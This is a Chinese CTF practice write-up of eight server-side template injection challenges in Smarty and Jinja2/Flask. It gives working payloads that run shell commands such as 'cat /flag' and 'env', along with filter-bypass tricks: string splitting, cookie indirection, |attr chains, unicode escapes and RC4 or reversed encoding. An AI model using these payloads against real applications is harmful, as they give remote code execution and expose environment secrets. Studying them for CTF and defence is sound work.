web SSTI 刷题记录

文章目录

    • 前言
    • [CISCN 2019华东南]Web11
    • [HDCTF 2023]SearchMaster
    • [HNCTF 2022 WEEK2]ez_SSTI
    • [HNCTF 2022 WEEK3]ssssti
    • [NCTF 2018]flask真香
      • 方法一
      • 方法二
    • [安洵杯 2020]Normal SSTI
    • [CISCN 2019华东南]Double Secret
    • [HZNUCTF 2023 preliminary]flask
      • 方法一
      • 方法二


前言

学习ctf也有两个学期了,趁现在有时间,速速学习SSTI模板注入


[CISCN 2019华东南]Web11

打开题目

发现为SSTI的Smarty

提示为XFF

web SSTI 刷题记录_第1张图片

先判断,发现成功

web SSTI 刷题记录_第2张图片

添加XFF,查看一下根目录

X-Forwarded-For:{if system('ls')}{/if}

web SSTI 刷题记录_第3张图片

cat一下,得到flag

web SSTI 刷题记录_第4张图片

[HDCTF 2023]SearchMaster

打开题目,发现提示我们POST传入参数data
web SSTI 刷题记录_第5张图片

由于还不知道是什么模板,我们先试试扫下目录

web SSTI 刷题记录_第6张图片访问下./composer.json,发现是smarty模板注入

web SSTI 刷题记录_第7张图片payload

{if system('cat /f*')}{/if}

直接得到flag

web SSTI 刷题记录_第8张图片

[HNCTF 2022 WEEK2]ez_SSTI

打开题目,盲猜参数为name
web SSTI 刷题记录_第9张图片直接上payload

?name={{config.__class__.__init__.__globals__['os'].popen('cat flag').read()}}

得到flag
web SSTI 刷题记录_第10张图片

[HNCTF 2022 WEEK3]ssssti

提示ssti模板注入,参数为name
fuzz测试一下,黑名单如下(大概

1 '
2 "  
3 _  
4 args   -- 无法使用 request.args
5 os   -- 无法导入os
不允许post  -- 无法使用 request.value

payload

{{self.__dict__._TemplateReference__context.lipsum.__globals__.__builtins__.open("/flag").read()}}

这里我们使用request.cookies构造
payload

?name={{self[request.cookies.c][request.cookies.d][request.cookies.e][request.cookies.f][request.cookies.g].open(request.cookies.z).read()}}

cookie:c=__dict__;d=_TemplateReference__context;e=lipsum;f=__globals__;g=__builtins__;z=flag

得到flag

web SSTI 刷题记录_第11张图片

[NCTF 2018]flask真香

打开题目,直接试试万能{{7*7}}
发现存在SSTI注入
web SSTI 刷题记录_第12张图片我们试试./{{''.__class__.}}
发现被过滤了

web SSTI 刷题记录_第13张图片

这里用字符串拼接绕过

{{''['__cla''ss__']}}

发现成功
web SSTI 刷题记录_第14张图片我们先得到子类

{{()['__cla''ss__'].__bases__[0]['__subcl''asses__']()}}

web SSTI 刷题记录_第15张图片

方法一

我们寻找的位置

祖传找下标的脚本

import json
classes="""
[, , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ]
"""
num=0
alllist=[]
result=""
for i in classes:
    if i==">":
        result+=i
        alllist.append(result)
        result=""
    elif i=="\n" or i==",":
        continue
    else:
        result+=i
#寻找要找的类,并返回其索引
for k,v in enumerate(alllist):
    if "class 'os._wrap_close" in v:
        print(str(k)+"--->"+v)

得到下标位置
在这里插入图片描述
payload

{{''['__cla''ss__'].__bases__[0]['__subc''lasses__']()[375].__init__.__globals__['pop''en']('ls /').read()}}

web SSTI 刷题记录_第16张图片得到flag
在这里插入图片描述

方法二

掏出祖传脚本来找到子类的下标
来利用他的子类__builtins__
将上面的脚本搜索值修改下,得到下标为446
payload

{{()['__cla''ss__'].__bases__[0]['__subcl''asses__']()[446].__init__.__globals__['__bui''ltins__']['ev''al']("__im""port__('o''s').po""pen('cat /T*').read()")}}

[安洵杯 2020]Normal SSTI

打开题目,按照提示尝试输入?url={{7*7}}
发现被过滤了,多尝试几个
fuzz一下,黑名单大致如下

[' ','\'','*','[',']','_','.','globals','request','args','form','getitem','flag','length','list','string','config']

过滤了{{}}所以使用{%print()%}绕过
因为.[]被过滤,所以使用flask的|attr来调用方法,''|attr(“__class__”)等于''.__class__

如果要使用xxx.os(‘xxx’)类似的方法,可以使用xxx|attr(“os”)(‘xxx’)

payload

{%print(lipsum|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("cat /flag")|attr("read")())%}

由于要绕过waf,将被禁用的Unicode编码一下

{%print(lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("os")|attr("popen")("\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067")|attr("read")())%}

得到flag
web SSTI 刷题记录_第17张图片

[CISCN 2019华东南]Double Secret

打开题目,先扫一下目录
web SSTI 刷题记录_第18张图片
访问下./secrect,提示我们参数也为secret
我们试试./secrect?secret=11111,发现报错
在app.py这里可以看到部分暴露的源码
web SSTI 刷题记录_第19张图片

简单解释下,就是会对我们上传的值进行RC4加密,密钥为HereIsTreasure
网上随便找的加解密脚本

# RC4是一种对称加密算法,那么对密文进行再次加密就可以得到原来的明文

import base64
from urllib.parse import quote


def rc4_main(key="init_key", message="init_message"):
    # print("RC4加密主函数")
    s_box = rc4_init_sbox(key)
    crypt = str(rc4_excrypt(message, s_box))
    return crypt


def rc4_init_sbox(key):
    s_box = list(range(256))  # 我这里没管秘钥小于256的情况,小于256不断重复填充即可
    # print("原来的 s 盒:%s" % s_box)
    j = 0
    for i in range(256):
        j = (j + s_box[i] + ord(key[i % len(key)])) % 256
        s_box[i], s_box[j] = s_box[j], s_box[i]
    # print("混乱后的 s 盒:%s"% s_box)
    return s_box


def rc4_excrypt(plain, box):
    # print("调用加密程序成功。")
    res = []
    i = j = 0
    for s in plain:
        i = (i + 1) % 256
        j = (j + box[i]) % 256
        box[i], box[j] = box[j], box[i]
        t = (box[i] + box[j]) % 256
        k = box[t]
        res.append(chr(ord(s) ^ k))
    # print("res用于加密字符串,加密后是:%res" %res)
    cipher = "".join(res)
    print("加密后的字符串是:%s" % quote(cipher))
    # print("加密后的输出(经过编码):")
    # print(str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
    return str(base64.b64encode(cipher.encode('utf-8')), 'utf-8')


rc4_main("HereIsTreasure", "{{7*7}}")  
#第一个参数为密钥,第二个参数为需要加密的字符串

我们先试试上传{{7*7}},发现成功执行
web SSTI 刷题记录_第20张图片我们修改上传命令为{{''.__class__.__mro__}}
web SSTI 刷题记录_第21张图片发现下标为2,我们再继续看子类

{{''.__class__.__mro__[2].__subclasses__()}}

然后索引,去利用文件读写(仅适用于Python2)

web SSTI 刷题记录_第22张图片
payload

{{''.__class__.__mro__[2].__subclasses__()[40]("/flag.txt").read()}}

这里要修改下脚本,因为引号匹配出现错误

rc4_main("HereIsTreasure", "{{''.__class__.__mro__[2].__subclasses__()[40]('/flag.txt').read()}}")  

得到flag
在这里插入图片描述

[HZNUCTF 2023 preliminary]flask

打开题目,随便上传123,发现逆序
再试试}}7*7{{,成功执行

web SSTI 刷题记录_第23张图片逆序脚本

def reverse_string(input_string):
    reversed_chars = reversed(input_string)
    reversed_string = ''.join(reversed_chars)
    return reversed_string

input_string = input("请输入要逆序的字符串:")
reversed_string = reverse_string(input_string)
print("逆序后的字符串为:" + reversed_string)

方法一

我们查找下子类

{{''.__class__.__bases__[0].__subclasses__()}}

右键查看源代码,复制下来用脚本索引os
发现下标为132
web SSTI 刷题记录_第24张图片我们调用popen方法,去命令执行
payload

{{''.__class__.__bases__[0].__subclasses__()[132].__init__.__globals__.popen('ls /').read()}}

然后再查看flag.sh,结果发现没有
web SSTI 刷题记录_第25张图片我们尝试查看环境变量,得到flag

{{''.__class__.__bases__[0].__subclasses__()[132].__init__.__globals__.popen('env').read()}}

web SSTI 刷题记录_第26张图片

方法二

payload

{{lipsum.__globals__.os.popen('env').read()}}

逆序完也可以得到flag

你可能感兴趣的:(SSTI,web安全,php)